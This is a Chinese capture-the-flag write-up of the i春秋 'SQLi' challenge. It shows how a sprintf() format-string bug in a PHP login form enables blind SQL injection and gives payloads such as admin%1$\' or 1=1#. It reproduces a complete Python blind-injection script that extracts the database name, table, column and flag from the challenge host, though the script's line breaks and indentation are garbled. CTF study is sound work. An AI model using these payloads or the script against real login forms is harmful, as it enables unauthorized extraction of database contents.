打开题目网页是个很简单的登录网页

先查看源码,抓包

都没找到可用的信息

依我所见这里应该就是一个注入

但是怎么输入都会回显username错误

直到输入admin

尝试admin#

Admin’#   username错误。。。

尝试万能密码。。。。。失败

先用bp去测试过滤的符号发现%会出现不一样的情况(刚学会的方法)

(测试方法

  1. 抓包
  2. 传intruder
  3. Positions中clear其他变量给admin(需要测量的地方)后面加上一个字符
  4. Payloads中add需要测试的字符串或则符号
  5. start attack

    统计不一样的长度回显)

    回到网页中进行测试发现当username中存在%的时候会出现warning报错

    可能注入点就在这里了

    猜测就是sprintf()的漏洞

    关于sprintf()菜鸟教程给出如下解释

    这里附上一篇sprintf()漏洞利用的博客:https://blog.csdn.net/WQ_BCJ/article/details/85057447

    Payload:

    admin%1$\’ or 1=1#

    admin%1$\’ or 1=2#

    发现第一个会爆出密码错误第二个爆出用户名错误

    总结出or后面的内容如果错误则报出密码错误,如果正确就用户名错误

    所以这里就使用盲注

    这里附上一个dalao的脚本

    #coding:utf-8
    
    import requests
    import string def boom():
    url = r'http://083f8085e75f4ea099423ca97e616c729b921691cfe34e7c.changame.ichunqiu.com/index.php'
    s = requests.session()
    dic = string.digits + string.letters + "!@#$%^&*()_+{}-="
    right = 'password error!'
    error = 'username error!' lens = 0
    i = 0
    while True:
    payload = "admin%1$\\' or " + "length(database())>" + str(i) + "#"
    data={'username':payload,'password':1}
    r = s.post(url,data=data).content
    if error in r:
    lens=i
    break
    i+=1
    pass
    print("[+]length(database()): %d" %(lens)) strs=''
    for i in range(lens+1):
    for c in dic:
    payload = "admin%1$\\' or " + "ascii(substr(database()," + str(i) +",1))=" + str(ord(c)) + "#"
    data = {'username':payload,'password':1}
    r = s.post(url,data=data).content
    if right in r:
    strs = strs + c
    print strs
    break
    pass
    pass
    print("[+]database():%s" %(strs)) lens=0
    i = 1
    while True:
    payload = "admin%1$\\' or " + "(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>" + str(i) + "#"
    data = {'username':payload,'password':1}
    r = s.post(url,data=data).content
    if error in r:
    lens = i
    break
    i+=1
    pass
    print("[+]length(table): %d" %(lens)) strs=''
    for i in range(lens+1):
    for c in dic:
    payload = "admin%1$\\' or " + "ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)," + str(i) +",1))=" + str(ord(c)) + "#"
    data = {'username':payload,'password':1}
    r = s.post(url,data=data).content
    if right in r:
    strs = strs + c
    print strs
    break
    pass
    pass
    print("[+]table_name:%s" %(strs))
    tablename = '0x' + strs.encode('hex')
    table_name = strs lens=0
    i = 0
    while True:
    payload = "admin%1$\\' or " + "(select length(column_name) from information_schema.columns where table_name = " + str(tablename) + " limit 0,1)>" + str(i) + "#"
    data = {'username':payload,'password':1}
    r = s.post(url,data=data).content
    if error in r:
    lens = i
    break
    i+=1
    pass
    print("[+]length(column): %d" %(lens)) strs=''
    for i in range(lens+1):
    for c in dic:
    payload = "admin%1$\\' or " + "ascii(substr((select column_name from information_schema.columns where table_name = " + str(tablename) +" limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#"
    data = {'username':payload,'password':1}
    r = s.post(url,data=data).content
    if right in r:
    strs = strs + c
    print strs
    break
    pass
    pass
    print("[+]column_name:%s" %(strs))
    column_name = strs num=0
    i = 0
    while True:
    payload = "admin%1$\\' or " + "(select count(*) from " + table_name + ")>" + str(i) + "#"
    data = {'username':payload,'password':1}
    r = s.post(url,data=data).content
    if error in r:
    num = i
    break
    i+=1
    pass
    print("[+]number(column): %d" %(num)) lens=0
    i = 0
    while True:
    payload = "admin%1$\\' or " + "(select length(" + column_name + ") from " + table_name + " limit 0,1)>" + str(i) + "#"
    data = {'username':payload,'password':1}
    r = s.post(url,data=data).content
    if error in r:
    lens = i
    break
    i+=1
    pass
    print("[+]length(value): %d" %(lens)) i=1
    strs=''
    for i in range(lens+1):
    for c in dic:
    payload = "admin%1$\\' or ascii(substr((select flag from flag limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#"
    data = {'username':payload,'password':'1'}
    r = s.post(url,data=data).content
    if right in r:
    strs = strs + c
    print strs
    break
    pass
    pass
    print("[+]flag:%s" %(strs)) if __name__ == '__main__':
    boom()
    print 'Finish!'

      

    (源码地址:https://www.ichunqiu.com/writeup/detail/157)

    直接用盲注就爆出了flag

i春秋SQLi的更多相关文章

  1. 春秋-SQLi题

    这道题挺好的 学到的知识 sprintf()构成的sql注入漏洞 题目环境今天做的时候坏了 留下这几篇博客学习 https://blog.csdn.net/nzjdsds/article/detail ...

  2. 第二届i春秋挖洞大赛的一些感想

    挖洞比赛嘛,根据规则就是一个问题,如何在短时间内挖到更多.等级更高的漏洞? 先分析这个问题,需求是什么? 更多? 等级更高? 短时间内? 首先要解决的是时间的问题 时间有限,所以你必须要快.如何快?把 ...

  3. “百度杯”CTF比赛 九月场 类型:Web 题目名称:SQLi ---不需要逗号的注入技巧

    今天在i春秋做题的时候遇到了一道非常好的题目,于是在参考了wp的基础上自己复现了一遍,算作一种技巧的学习与收藏吧. 题目i春秋连接:https://www.ichunqiu.com/battalion ...

  4. sqli篇-本着就了解安全本质的想法,尽可能的用通俗易懂的语言去解释安全漏洞问题

    前言 最早接触安全也是从xss攻击和sql注入攻击开始的. 和xss一样屡居OWASPtop10 前三名的漏洞,sqli(sql Injection)sql注入攻击也是web安全中影响较大和影响范围较 ...

  5. i春秋url地址编码问题

    i春秋学院是国内比较知名的安全培训平台,前段时间看了下网站,顺便手工简单测试常见的XSS,发现网站搜索功能比较有意思. 其实是对用户输入的内容HTML编码和URL编码的处理方式在这里不合理,提交到乌云 ...

  6. 爱春秋之戏说春秋 Writeup

    爱春秋之戏说春秋 Writeup 第一关 图穷匕见 这一关关键是给了一个图片,将图片下载到本地后,打开以及查看属性均无任何发现,尝试把图片转换为.txt格式.在文本的最后发现这样一串有规律的代码: 形 ...

  7. i春秋——春秋争霸write up

    i春秋--春秋争霸write up 第一关 题目给出一张图 提示中,这种排列源于古老的奇书,暗含了两个数字,可以得出第一关的答案是两个数字 百度识图来一发, 得到图中排列是来自于洛书,点开洛书的百度百 ...

  8. SQLi filter evasion cheat sheet (MySQL)

    This week I presented my experiences in SQLi filter evasion techniques that I have gained during 3 y ...

  9. i春秋与我

    在i春秋论坛混迹了大半年了,在i春秋的在线平台学到了很多奇技淫巧,特别喜欢这个平台的气氛,以及虚拟在线网络环境的搭建, 忙周偷乐,过来也为i春秋做点小奉献,共同构造我们喜欢的春秋平台,成长特别快,特别 ...

  10. I春秋——Misc(贝斯家族)

    不好意思呀!最近一直忙着学习python,竟然忘记更新I春秋里面的题目了(QAQ),我以后会时时刻刻提醒自己要更新 永远爱你们的! ----新宝宝 1:贝斯家族: 解题思路:我相信看见这一题都能够想到 ...

随机推荐

  1. KingbaseES 支持列加密

    KINGBASE 列加密支持 sm4 和 rc4 加密算法,具体算法在 initdb 时指定,默认是 sm4.要使用列加密,必须 shared_preload_libraries = 'sysencr ...

  2. python 基于aiohttp的异步爬虫实战

    钢铁知识库,一个学习python爬虫.数据分析的知识库.人生苦短,快用python. 之前我们使用requests库爬取某个站点的时候,每发出一个请求,程序必须等待网站返回响应才能接着运行,而在整个爬 ...

  3. Java---Stream入门

    由于本文需要有一定的Lambda基础,所以如果不懂什么是Lambda的同学请移步:Java---Lambda 学习Stream的目的 函数式编程渐渐变成主流,而Stream是函数式编程的重点. 相对于 ...

  4. [Python]-tqdm模块-给for循环加上进度条

    import tqdm 使用tqdm模块,可以在漫长的for循环加上一个进度条,显示当前进度百分比. 将tqdm写在迭代器之外即可:tqdm(iterator) for i in tqdm(range ...

  5. haodoop新特性

    Hadoop2.x新特性 scp实现两个远程主机之间的文件复制 scp -r hello.txt root@hadoop103:/user/atguigu/hello.txt // 推 push sc ...

  6. EFK-4::ElasticSearch集群TLS加密通讯

    转载自:https://mp.weixin.qq.com/s?__biz=MzUyNzk0NTI4MQ==&mid=2247483822&idx=1&sn=6813b22eb5 ...

  7. 第一章:模型层 - 9:查询集API

    本节将详细介绍查询集的API,它建立在下面的模型基础上,与上一节的模型相同: from django.db import models class Blog(models.Model): name = ...

  8. Docker网络详解——原理篇

    安装Docker时,它会自动创建三个网络,bridge(创建容器默认连接到此网络). none .host 网络模式 简介 Host 容器将不会虚拟出自己的网卡,配置自己的IP等,而是使用宿主机的IP ...

  9. 动态编译库 Natasha 5.0 兼容版本发布

    Natasha 5.0 版本已于 2022/10/10 日发布, 此次大版本更迭带来了兼容性支持, 目前 Natasha 可以兼容 standard2.0 及 coreapp3.1 以上版本. 下载使 ...

  10. Linux中CentOS 7的安装及Linux常用命令

    1. 前言 什么是Linux Linux是一套免费使用和自由传播的操作系统.说到操作系统,大家比较熟知的应该就是Windows和MacOS操作系统,我们今天所学习的Linux也是一款操作系统. 为什么 ...